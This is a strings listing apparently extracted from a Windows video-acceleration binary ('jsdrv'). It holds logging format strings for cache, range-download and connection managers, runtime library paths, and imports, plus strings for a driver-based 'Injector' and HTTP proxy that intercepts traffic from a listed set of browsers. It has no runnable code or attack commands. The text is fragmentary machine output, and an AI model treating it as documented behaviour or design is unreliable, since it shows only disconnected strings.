m_PropertyValue.pszValue

m_PropertyValue.pValue

[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p

[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p

[CacheManager::Pause] FDM=%d

[CacheManager::Resume] FDM=%d

[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)

[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld

[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)

[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...

[CacheManager::StopCacheData] FDM=%d

[CacheManager::Stop] FDM=%d

[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!

[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld

[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty

[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld

[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***

[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)

[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d

[CacheManager::RemoveAllWorkers] FDM=%d

[~CacheManager - %p] FDM=%d

[CacheManager::Reset] FDM=%d

[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p

[JobsManager::MergeFailedJobs] Job:%d  = Job:%d

[JobsManager::CreateJob] Job:%d, %lld-%lld

[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist

[JobsManager::CreateTimeJob] Job:%d, %lld-0

[JobsManager::DestroyJob] Job:%d

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION

[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)

[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)

[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.

[AccelerationLogicHD::IsPartner] Partner = %d

[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d

[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld

[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d

[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges

[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d

[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d

[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld

[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)

[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain

AccelerationLogicHD::AccelerateIsSupported

[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)

[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d

[AccelerationLogicHD::Reset] FDM=%d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule

[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d

[CConnectionsManager::ResetStartAcceleration] AvgBps: %d

[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)

[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)

[CConnectionsManagerSocket] socket %d

[CConnectionsManagerSocket::OnReadEvent] socket %d

[CConnectionsManagerSocket::OnWriteEvent] socket %d

[CConnectionsManagerSocket::OnCloseEvent] socket %d

[CConnectionsManagerSocket::OnAcceptEvent] socket %d

[CConnectionsManagerSocket::OnConnectEvent] socket %d

[~CConnectionsManagerSocket] socket %d

[CConnectionsManager::OnReadEvent] socket %d

[CConnectionsManager::OnWriteEvent] socket %d

[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms

[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d

[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d

[CConnectionsManager::AddConnection] ___Warning socket %d - not connected

[CConnectionsManager::Work] Remote: %s:%d - Done.

[CConnectionsManager::Work] ___Error Connect socket %d

[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x

[CConnectionsManager::Work] Add socket %d - Remote: %s:%d

[CConnectionsManager::Work] Remote: %s:%d

[CConnectionsManager::Cleanup] %d sockets left in map

[CConnectionsManager::Cleanup] Cleaning %d sockets from map

[CConnectionsManager::RemoveConnection] socket %d

[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***

[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName

[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d

[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d

[CConnectionsManager::OnCloseEvent] socket %d

lighttpd/1.4.8

[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld

[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)

[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld

[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)

[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)

[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d

[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d

[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld

[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d

[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d

[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)

[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)

[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)

[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)

[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d

[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)

[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d

[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d

[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d

[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule

AppleWebKit

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.

AccelerationLogic::AccelerateIsSupported

[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s

[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s

[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s

[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s

[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d

NonSupportRangeServersList

[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s

[AccelerationLogic::CreateAnyRule] FDM=%d

[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported

[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s

[AccelerationLogic::Reset] FDM=%d

[~AccelerationLogic - %p] FDM=%d - ... Leave

[~AccelerationLogic - %p] FDM=%d - Enter ...

[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d

[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes

[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld

[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d

[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld

[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d

[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes

[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d

[CHttpCacheData] CD:%d, Url: %s

[~CHttpCacheData] CD:%d

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d

[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld

[CacheWorker::SetSize - %p] Cache size: %d

[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d

[CacheWorker::SetEncryptionKey - %p] Key: %p

[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::AppendToCache - %p] Bytes in buffer: %d

[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld

[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes

[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes

[CacheWorker::Write - %p] *** Finished to download & write job:%d ***

[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] ___Warning already finished job:%d

[CacheWorker::Write - %p] Bytes in buffer: %d

[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.

[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime

f:\dd\vctools\crt_bld\self_x86\crt\src\locale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

%d / %m / %y

%I : %M : %S %p

%m / %d / %y

%b %d %H : %M : %S %Y

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c

Visual C   CRT: Not enough memory to complete call to strerror.

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\input.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

Broken pipe

Inappropriate I/O control operation

Operation not permitted

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Content-Type: multipart/form-data; boundary=%s

ICACLS.EXE

SOFTWARE\%s

Global\%s_CONFIG_XML

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Injector dump %s: %s

inj_rem remain %d

inj_loc remain %d

%s PutChunk send %d bytes to server

%s PutChunk send %d bytes to client

%s close pRemoteInj

%s close pLocalInj

New EmuSession flow %lld, now %d

Injector: Flow %lld, create session %X

Injector: Flow %lld, FDM=%d (%d)

%s ConnectedToVA, pLocalInj %p, pLocalVA %p

Delete EmuSession flow %lld, remain %d, chunks %d

%s delete Session %X

%s HandleChunk FWPS_STREAM_FLAG_SEND len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_ABORT

Injector: FDM=%d (%d)

%s ConnectToInj, Session not found pLocalVA %X

%s ConnectToInj

Cleanup %s

allports

iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe

[Stproxy]: open driver HANDLE %p, err %d

jsdriver: error parsing Config.json

parsing Config.json

IOCTL_ENABLE_INTERCEPT res %d

SetThreadPriority %d

error %d

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase

0123456789.eE-

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum

C:\BUILDS\Build_JS\1.38.0.0\JsDriver\Release\jsdrv.pdb

WSAJoinLeaf

WS2_32.dll

VERSION.dll

USERENV.dll

HttpQueryInfoA

InternetOpenUrlA

InternetCrackUrlA

HttpSendRequestA

HttpAddRequestHeadersA

HttpOpenRequestA

WININET.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

MsgWaitForMultipleObjectsEx

CloseWindowStation

SetProcessWindowStation

OpenWindowStationA

USER32.dll

RegNotifyChangeKeyValue

RegOpenKeyExA

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegOpenKeyA

RegEnumKeyA

RegEnumKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

HttpEndRequestA

HttpSendRequestExA

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AVSaveWatchUrl@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

HTTP://

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

.?AVCAsyncUdpSocket@@

.?AVCExecuteUpdate@@

..\Common\Base64.cpp

..\Common\Base64MultiBytes.cpp

<>"#%{}|\^~[]`' ?&

<>"#{}|\^~[]`' ?&

.?AVCHttpAsync@@

.?AVIHttpProxyWorker@@

.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@

.?AVIInjHttpProxyServer@@

.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@

.?AV?$IBaseInterface@VIHttpProxyServer@@@@

.?AVIHttpProxyServer@@

.?AVInjHttpProxyServer@@

.?AVHttpProxyServer@@

.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@

.?AVIHttpStreamSink@@

.?AVIHttpFileDownloadMgr@@

.?AVInjHttpProxyLocal@@

.?AVHttpProxyLocal@@

